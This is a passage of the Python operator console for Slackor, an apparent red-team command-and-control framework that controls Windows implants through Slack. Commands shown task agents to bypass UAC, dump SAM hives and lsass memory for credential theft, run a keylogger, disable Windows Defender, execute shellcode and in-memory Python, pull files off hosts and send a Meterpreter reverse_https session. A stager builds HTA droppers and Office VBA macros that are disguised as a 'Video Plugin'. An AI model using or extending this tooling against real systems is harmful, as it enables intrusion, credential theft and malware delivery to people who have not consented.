   742          modes = ["realtime", "exclusion", "signature"]
   743          if text:
   744              return [
   745                  mode for mode in modes
   746                  if mode.startswith(text.lower())
   747              ]
   748          else:
   749              return modes
   750  
   751      def complete_bypassuac(self, text, line, start_index, end_index):
   752          modes = ["fodhelper", "ask"]
   753          if text:
   754              return [
   755                  mode for mode in modes
   756                  if mode.startswith(text.lower())
   757              ]
   758          else:
   759              return modes
   760  
   761      def do_bypassuac(self, args):
   762          """BYPASSUAC - Attempts to spawn a new agent with high integrity."""
   763          if args == "fodhelper":
   764              print(color("RISK: Writes to disk, executes cmd.exe", "yellow"))
   765              if bad_opsec():
   766                  bypassuac(bearer, commands, self.target, args)
   767                  print(color("Elevating " + self.target, "blue"))
   768  
   769          elif args == "ask":
   770              print(color("RISK: Writes to disk and pops up a UAC alert!", "yellow"))
   771              if bad_opsec():
   772                  bypassuac(bearer, commands, self.target, args)
   773                  print(color("Requesting elevation from user on " + self.target, "blue"))
   774          else:
   775              print(color("Please supply an additional argument [fodhelper|ask]", "blue"))
   776  
   777      def do_screenshot(self, args):
   778          """SCREENSHOT - Screenshots the current desktop and downloads files"""
   779          print(color("RISK: Writes to disk", "yellow"))
   780          if bad_opsec():
   781              screenshot(bearer, commands, self.target)
   782              print(color("screenshotting " + self.target, "blue"))
   783  
   784      def do_samdump(self, args):
   785          """SAMDUMP - Attempts to dump the SAM, SYSTEM and SECURITY files for offline hash extraction"""
   786          conn = sqlite3.connect('slackor.db')
   787          cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   788          user = cursor.fetchone()
   789          if user[0].endswith('*'):
   790              print(color("RISK: Writes to disk", "yellow"))
   791              if bad_opsec():
   792                  samdump(bearer, commands, self.target)
   793                  print(color("Getting SYSTEM, SAM and SECURITY files for " + self.target + "....", "blue"))
   794          else:
   795              print(color("Agent not running as high integrity", "yellow"))
   796  
   797      def do_sysinfo(self, args):
   798          """SYSINFO - Displays the current user, OS version, system architecture, and number of CPU cores"""
   799          sysinfo(bearer, commands, self.target)
   800          print(color("Gathering System Information for " + self.target, "blue"))
   801  
   802      def do_clipboard(self, args):
   803          """CLIPBOARD - Retrieves the content of the clipboard"""
   804          clipboard(bearer, commands, self.target)
   805          print(color("Retrieving the clipboard for " + self.target, "blue"))
   806  
   807      def do_duplicate(self, args):
   808          """DUPLICATE - Causes the agent to spawn another invocation of itself"""
   809          duplicate(bearer, commands, self.target)
   810          print(color("Duplicating " + self.target, "blue"))
   811  
   812      def do_keyscan(self, args):
   813          """keyscan - Starts a keylogger on the system"""
   814          keyscan(bearer, commands, self.target, args)
   815          if args == "start":
   816              print(color("Starting keylogger on " + self.target, "blue"))
   817          elif args == "stop":
   818              print(color("Stopping keylogger on " + self.target, "blue"))
   819          elif args == "dump":
   820              print(color("Dumping keylogger output for " + self.target, "blue"))
   821          else:
   822              print(color("Please supply an additional argument [start|stop|dump]", "blue"))
   823  
   824      def do_getsystem(self, args):
   825          """GETSYSTEM - Attempts to spawn an agent with SYSTEM privileges"""
   826          conn = sqlite3.connect('slackor.db')
   827          cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   828          user = cursor.fetchone()
   829          if user[0].endswith('*'):
   830              print(color("RISK: Writes to disk and executed a scheduled task", "yellow"))
   831              if bad_opsec():
   832                  getsystem(bearer, commands, self.target)
   833                  print(color("Getting SYSTEM on " + self.target, "blue"))
   834          else:
   835              print(color("Agent not running as high integrity", "yellow"))
   836  
   837      def do_defanger(self, args):
   838          """DEFANGER - Attempts to de-fang Windows Defender
   839          Example: defanger realtime"""
   840          conn = sqlite3.connect('slackor.db')
   841          cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   842          user = cursor.fetchone()
   843          if user[0].endswith('*'):
   844              if args == "realtime":
   845                  print(color("RISK: Pops a notification on the target and executes powershell.exe", "yellow"))
   846                  if bad_opsec():
   847                      defanger(bearer, commands, self.target, args)
   848                      print(color("Disabling Real-time protection on " + self.target, "blue"))
   849              elif args == "exclusion":
   850                  print(color("RISK: executes powershell.exe", "yellow"))
   851                  if bad_opsec():
   852                      defanger(bearer, commands, self.target, args)
   853                      print(color("Adding an AV exclusion for C:\\ on " + self.target, "blue"))
   854  
   855              elif args == "signature":
   856                  print(color("RISK: executes cmd.exe", "yellow"))
   857                  if bad_opsec():
   858                      defanger(bearer, commands, self.target, args)
   859                      print(color("Deleting AV signatures on " + self.target, "blue"))
   860              else:
   861                  print(color("Please supply an additional argument [realtime|exclusion|signature]", "blue"))
   862          else:
   863              print(color("Agent not running as high integrity", "yellow"))
   864      '''
   865      def do_metasploit(self, args):
   866          """METASPLOIT - Executes meterpreter on the target over HTTPS.
   867          MSF payload: windows/x64/meterpreter/reverse_https"""
   868          print(color("Listener must be windows/x64/meterpreter/reverse_https", "yellow"))
   869          print(color("RISK: Connection to non-slack IP", "yellow"))
   870          ip = input("Enter the IP Address: ")
   871          port = input("Enter the Port Number: ")
   872          url = "https://" + ip + ":" + port + "/"
   873          if validate_url(url):
   874              metasploit(bearer, commands, self.target, url)
   875              print(color("Sending Meterpreter payload to: " + self.target, "blue"))
   876          else:
   877              print("Invalid URL: " + url)
   878      '''
   879      def do_shellcode(self, args):
   880          """SHELLCODE - Executes RAW shellcode.  MUST be 64 bit.
   881          Example: shellcode /tmp/shellcode64.raw"""
   882          filepath = args
   883          shellcode(bearer, commands, self.target, filepath)
   884          print(color("Executing shellcode on: " + self.target, "blue"))
   885  
   886      def do_pyinject(self, args):
   887          """PYINJECT - Executes a python script in memory. (Python 2.7)
   888          Example: shellcode /tmp/script.py"""
   889          filepath = args
   890          pyinject(bearer, commands, self.target, filepath)
   891          print(color("Executing python script on: " + self.target, "blue"))
   892  
   893      def do_beacon(self, args):
   894          """BEACON - Changes the mean(average)time in seconds that an agent checks for new commands.  20% jitter.
   895               Example: beacon 5  (Beacons average 5 seconds)"""
   896          try:
   897              # Test if value is an integer, bail if not
   898              beacon_test = int(args)
   899              beacon(bearer, commands, self.target, args)
   900              print(color("Changed beacon timing to " + args + " seconds", "blue"))
   901          except ValueError:
   902              print(color("Beacon value must be an integer.  (Number of seconds)", "yellow"))
   903  
   904      def do_wget(self, args):
   905          """WGET - Not actually wget, but will download a file when given a URL.
   906               Example: wget hxxps://domain.tld/file.exe """
   907          print(color("RISK: Writes to disk, calls out to non-Slack domain", "yellow"))
   908          if bad_opsec():
   909              if validate_url(args):
   910                  upload(bearer, commands, self.target, args)
   911                  print(color("Tasked " + self.target + " to download the file at " + args, "blue"))
   912              else:
   913                  print("Invalid URL.  Please use a full URL.")
   914  
   915      def do_upload(self, args):
   916          """UPLOAD - Will upload a file that will be downloaded on the agent.  Provide a local path on the server.
   917               Example: upload /tmp/file.exe"""
   918          print(color("RISK: Writes to disk", "yellow"))
   919          if bad_opsec():
   920              url = upload_file(args)
   921              if url:
   922                  upload(bearer, commands, self.target, url)
   923                  print(color("Tasked " + self.target + " to download the file at " + url, "blue"))
   924  
   925      def do_download(self, args):
   926          """DOWNLOAD - Will retrieve a file from the agent.  Provide a local path on the agent.
   927               Example: download C:\\Users\\Administrator\\Desktop\\secrets.txt """
   928          download(bearer, commands, self.target, args)
   929          print(color("Downloading " + args + " from " + self.target + "...", "blue"))
   930  
   931      def do_minidump(self, args):
   932          """MINIDUMP - Dumps memory from lsass.exe and downloads it"""
   933          conn = sqlite3.connect('slackor.db')
   934          cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   935          user = cursor.fetchone()
   936          if user[0].endswith('*'):
   937              print(color("RISK: Writes to disk, executes cmd.exe", "yellow"))
   938              if bad_opsec():
   939                  minidump(bearer, commands, self.target)
   940                  print(color("Dumping lsass.exe on target, this may take a while...", "blue"))
   941          else:
   942              print(color("Agent not running as high integrity", "yellow"))
   943  
   944      def do_back(self, args):
   945          """BACK - Leave the agent prompt and return to the main menu"""
   946          return True
   947  
   948      def do_kill(self, args):
   949          """KILL - Kills the agent"""
   950          kill(bearer, commands, self.target)
   951          print(color("Sent kill command to " + self.target, "blue"))
   952          conn = sqlite3.connect('slackor.db')
   953          conn.execute("DELETE FROM AGENTS WHERE id=?", (self.target,))
   954          conn.commit()
   955          conn.close()
   956          agent_list.remove(self.target)
   957          return True
   958  
   959      def default(self, args):
   960          if len(args) >= 3970:
   961              print("Command too large.  It must be less than 3970 characters after encrypting.")
   962          else:
   963              send_command(bearer, args, commands, self.target)
   964  
   965  
   966  class MyPrompt(Cmd):  # Class for modules ran from the main menu
   967  
   968      def do_interact(self, args):
   969          """Interacts with a registered agent \n Usage: interact [agent]"""
   970  
   971          target = args.upper()
   972          # Check to see if agent is in database
   973          conn = sqlite3.connect('slackor.db')
   974          cursor = conn.execute("SELECT id from AGENTS WHERE id=?", (target,))
   975          result = cursor.fetchone()
   976          conn.close()
   977          if result:
   978              i = AgentCmd()
   979              i.target = target
   980              i.prompt = self.prompt[:-1] + ': ' + color(args.upper(), "red") + ')'
   981              i.cmdloop(color("Interacting with " + target + ":", "blue"))
   982  
   983          else:
   984              print(color("Agent " + target + " not found", "yellow"))
   985  
   986      def complete_interact(self, text, line, start_index, end_index):
   987          if text:
   988              return [
   989                  agent for agent in agent_list
   990                  if agent.startswith(text.upper())
   991              ]
   992          else:
   993              return agent_list
   994  
   995      def complete_remove(self, text, line, start_index, end_index):
   996          if text:
   997              return [
   998                  agent for agent in agent_list
   999                  if agent.startswith(text.upper())
  1000              ]
  1001          else:
  1002              return agent_list
  1003  
  1004      def do_list(self, args):
  1005          """Lists registered agents"""
  1006          t = PrettyTable(['ID', 'Hostname', 'User', 'IP Address', 'Version'])
  1007          t.set_style(PLAIN_COLUMNS)
  1008          conn = sqlite3.connect('slackor.db')
  1009          cursor = conn.execute("SELECT id, hostname, user, ip, version from AGENTS")
  1010          for row in cursor:
  1011              ID = row[0]
  1012              hostname = row[1]
  1013              user = row[2]
  1014              ipaddr = row[3]
  1015              version = row[4]
  1016              t.add_row([ID, hostname, user, ipaddr, version])
  1017          print(color(t, "blue"))
  1018          conn.close()
  1019  
  1020  
  1021      def do_remove(self, args):
  1022          """Removes an agent.  Specify an agent ID or say ALL \n Usage: remove [agent]"""
  1023          client = args.upper()
  1024          conn = sqlite3.connect('slackor.db')
  1025          if client == "ALL":
  1026              cursor = conn.execute("SELECT id, hostname, ip, version from AGENTS")
  1027              for row in cursor:
  1028                  try:
  1029                      conn.execute("DELETE FROM AGENTS WHERE id=?", (row[0],))
  1030                      kill(bearer, commands, row[0])
  1031                      agent_list.remove(row[0])
  1032                      print(color("Killing " + row[0], "blue"))
  1033                  except ValueError:
  1034                      pass
  1035              print(color("Removed all agents", "blue"))
  1036          else:
  1037              try:
  1038                  conn.execute("DELETE FROM AGENTS WHERE id=?", (client,))
  1039                  kill(bearer, commands, client)
  1040                  agent_list.remove(client)
  1041                  print(color("Removed ", "blue") + color(client, "red"))
  1042              except ValueError:
  1043                  print(color("Agent " + client + " does not exist", "yellow"))
  1044  
  1045          conn.commit()
  1046          conn.close()
  1047  
  1048      def do_quit(self, args):
  1049          """Quits the program."""
  1050          print(color("Quitting...", "yellow"))
  1051          raise SystemExit
  1052  
  1053      def do_wipefiles(self, args):
  1054          """Deletes all files from the workspace."""
  1055          response = input(color("WARNING: This will delete all files out of Slack. Continue? (Y/n): ", "yellow"))
  1056          if response.upper()[:1] == "Y":
  1057              print(color("Deleting all files from Slack...", "yellow"))
  1058              wipe_files()
  1059  
  1060      def do_stager(self, args):
  1061          """Generates a one-liner to download an execute the implant. Takes a file path as an argument."""
  1062          print(color("RISK: Uploads your implant to a Slack.  This file will be publicly downloadable.", "yellow"))
  1063          if bad_opsec():
  1064              if not args:
  1065                  print(color("Please supply the file path to the implant file.", "yellow"))
  1066                  return False
  1067              filepath = args
  1068              try:
  1069                  open(filepath, 'rb')
  1070                  print(color("Uploading payload...", "blue"))
  1071                  oneliner, unique = make_stager(filepath)
  1072  
  1073                  if 'sfhta' in globals():
  1074  
  1075                      with open("output/" + unique + ".html", "w") as out_file:
  1076                          out_file.write(sfhta.obfuscateHta(sfhta.generateBase(oneliner, "Video Plugin")))
  1077                      print(color("Created HTA dropper at output/" + unique + ".html", "blue"))
  1078  
  1079                  if 'sfvba' in globals():
  1080  
  1081                      with open("output/" + unique + "_word.vba", "w") as out_file:
  1082                          out_file.write(sfvba.generateVBALauncher("word", oneliner, "Comments"))
  1083                      print(color("Created MS Word VBA macro at output/" + unique + "_word.vba", "blue"))
  1084  
  1085                      with open("output/" + unique + "_excel.vba", "w") as out_file:
  1086                          out_file.write(sfvba.generateVBALauncher("excel", oneliner, "Comments"))
  1087                      print(color("Created MS Excel VBA macro at output/" + unique + "_excel.vba", "blue"))
  1088  
  1089                      with open("output/" + unique + "_powerpoint.vba", "w") as out_file:
  1090                          out_file.write(sfvba.generateVBALauncher("powerpoint", oneliner, "Comments"))
  1091                      print(color("Created MS PowerPoint VBA macro at output/" + unique + "_powerpoint.vba", "blue"))
  1092  
  1093              except FileNotFoundError:
  1094                  print(color("File not Found", "yellow"))
  1095                  return False
  1096              except OSError:
  1097                  print(color("File not Found", "yellow"))
  1098                  return False
  1099  
  1100      def emptyline(self):
  1101          pass
  1102  
  1103      def do_modules(self, arg):
  1104          """Displays information about available modules"""
  1105          print("""Welcome to Slackor!  Below are a list of things you can do:
  1106  
  1107  Main Menu:
  1108  ===========
  1109  help -  Displays information for a command type
  1110             Usage: help [COMMAND]
  1111  interact - Interacts with a registered agent
  1112             Usage: interact [AGENT]
  1113  list - Lists registered agents
  1114             Usage: list
  1115  remove - Removes an agent.  Specify an agent ID or say ALL
  1116             Usage: remove [AGENT]
  1117  revive - Sends a signal to all agents to re-register with the server.
  1118             Usage: revive
  1119  stager - Generates a one-liner to download an execute the implant.
  1120             Usage: stager [LOCAL FILE PATH]
  1121  quit - Quits the program.
  1122             Usage: quit
  1123  wipefiles - Deletes all uploaded files out of the Slack workspace
  1124             Usage: wipefiles
  1125  
  1126  Agent Interaction:
  1127  ===================
  1128  back - Leave the agent prompt and return to the main menu
  1129             Usage: back
  1130  beacon - Changes the mean(average)time in seconds that an agent checks for new commands.  20% jitter.
  1131             Usage: beacon 5  (Beacons average 5 seconds)
  1132  bypassuac - Attempts to spawn a new agent with high integrity.
  1133             Usage: bypassuac [fodhelper|ask]
  1134  defanger - Attempts to de-fang Windows Defender.
  1135             Usage: defanger [realtime|exclusion|signature]
  1136  cleanup - Removes artifacts.
  1137             Usage: cleanup [registry|scheduler|realtime|exclusion|signature]
  1138  clipboard - Retrieves the content of the clipboard
  1139             Usage: clipboard
  1140  download - Will retrieve a file from the agent.  Provide a local path on the agent.
  1141             Usage: download [LOCAL FILE PATH]
  1142  duplicate - Causes the agent to spawn another invocation of itself
  1143             Usage: duplicate
  1144  getsystem - Spawns an agent as NTAUTHORITY/SYSTEM
  1145             Usage: getsystem
  1146  help - Displays information for a command type
  1147             Usage: help [COMMAND]
  1148  keyscan - Starts a keylogger on the agent
  1149             Usage: keyscan [start|stop|dump]
  1150  kill - Kills the current agent
  1151             Usage: kill
  1152  minidump - Returns a dump of lsass.exe to be process by mimikatz
  1153             Usage: minidump
  1154  persist - Creates persistence by implanting a binary in an Alternate Data Stream.
  1155            Can be activated by a scheduled task or via a run key.  Userland or Elevated.
  1156             Usage: persist [registry|scheduler|wmi]
  1157  pyinject - Executes a python script in memory. (Python 2.7)
  1158             Usage: pyinject [SERVER FILE PATH]
  1159  samdump - Attempts to dump the SAM, SYSTEM and SECURITY files for offline hash extraction
  1160             Usage: samdump
  1161  shellcode - Executes x64 raw shellcode from a file.
  1162             Usage: shellcode [SERVER FILE PATH]
  1163  sleep - Causes the agent to sleep once.  Time must be in seconds.
  1164             Usage: sleep [INTEGER]
  1165  sysinfo - Displays the current user, OS version, system architecture, and number of CPU cores
  1166             Usage: sysinfo
  1167  upload - Will upload a file that will be downloaded on the agent.  Provide a local path on the server.
  1168             Usage: upload [SERVER FILE PATH]
  1169  wget - Not actually wget, but will download a file when given a URL.
  1170             Usage: wget [URL]
  1171  
  1172  OPSEC Information :
  1173  ===================
  1174  Modules will warn you before performing tasks that write to disk.
  1175  When executing shell commands, take note that cmd.exe will be executed.  This may be monitored on the host.
  1176  Here are several OPSEC safe commands that will NOT execute cmd.exe:
  1177  cat - prints the content of a file
  1178             Usage: cat [FILEPATH]
  1179  cd - change directory
  1180             Usage: cd [DIRECTORY]
  1181  hostname - Displays the name of the host
  1182             Usage: hostname
  1183  ifconfig - Displays interface information
  1184             Usage: ifconfig
  1185  getip - Get external IP address (makes a DNS request)
  1186             Usage: getip
  1187  ls - list directory contents
  1188             Usage: ls [DIRECTORY]
  1189  find - search directory filenames
  1190             Usage: find [GLOB]
  1191  mkdir - creates a directory
  1192             Usage: mkdir [DIRPATH]
  1193  pwd - prints the current working directory
  1194             Usage: pwd
  1195  rm - removes a file
  1196             Usage: rm [FILEPATH]
  1197  rmdir - removes a directory
  1198             Usage: rmdir [DIRPATH]
  1199  whoami / getuid - prints the current user
  1200             Usage: whoami
  1201             Usage: getuid
  1202  """)
  1203  
  1204      def default(self, line):
  1205          print(color('Unknown command: %s\n' % (line,), "yellow"))
  1206  
  1207      def do_revive(self, args):
  1208          """REVIVE - Sends a signal to all agents to re-register with the server.
  1209           """
  1210          revive(bearer, commands)
  1211          print(color("Sending signal to all agents to register with the server...\n", "blue"))
  1212  
  1213  
  1214  if __name__ == '__main__':
  1215      # Keep checking for agents in the background
  1216      agent_monitor = threading.Thread(target=update_agents)
  1217      agent_monitor.start()
  1218      # Keep checking for responses in the background
  1219      response_monitor = threading.Thread(target=check_responses)
  1220      response_monitor.start()
  1221      prompt = MyPrompt()
  1222      prompt.doc_header = "Main Menu (type help <topic>):"
  1223      prompt.misc_header = "Agent Commands (type help <topic>):"
  1224      prompt.prompt = '(Slackor)'
  1225      banner = """
  1226          __ _            _                  _  _
  1227         / _| | __ _  ___| | _____  _ __   _| || |_
  1228         \ \| |/ _` |/ __| |/ / _ \| '__| |_  ..  _|
  1229         _\ | | (_| | (__|   | (_) | |    |_      _|
  1230         \__|_|\__,_|\___|_|\_\___/|_|      |_||_|
  1231  \n"""
  1232  
  1233      prompt.cmdloop(color(banner, "green")
  1234      + color("\nType \"modules\""" for additional information.", "green"))